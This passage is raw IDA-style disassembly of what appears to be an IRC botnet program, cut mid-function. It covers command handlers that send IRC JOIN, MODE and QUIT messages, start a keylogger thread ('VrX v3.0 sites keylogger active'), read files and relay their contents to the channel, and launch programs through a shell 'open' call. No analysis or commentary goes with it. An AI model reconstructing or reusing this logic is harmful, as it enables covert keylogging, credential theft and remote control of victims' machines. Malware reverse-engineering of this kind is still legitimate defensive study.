		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 26A044Bh
		nop
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26A065Fh
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26A044Bh
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		nop
		call	near ptr 26B0D20h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
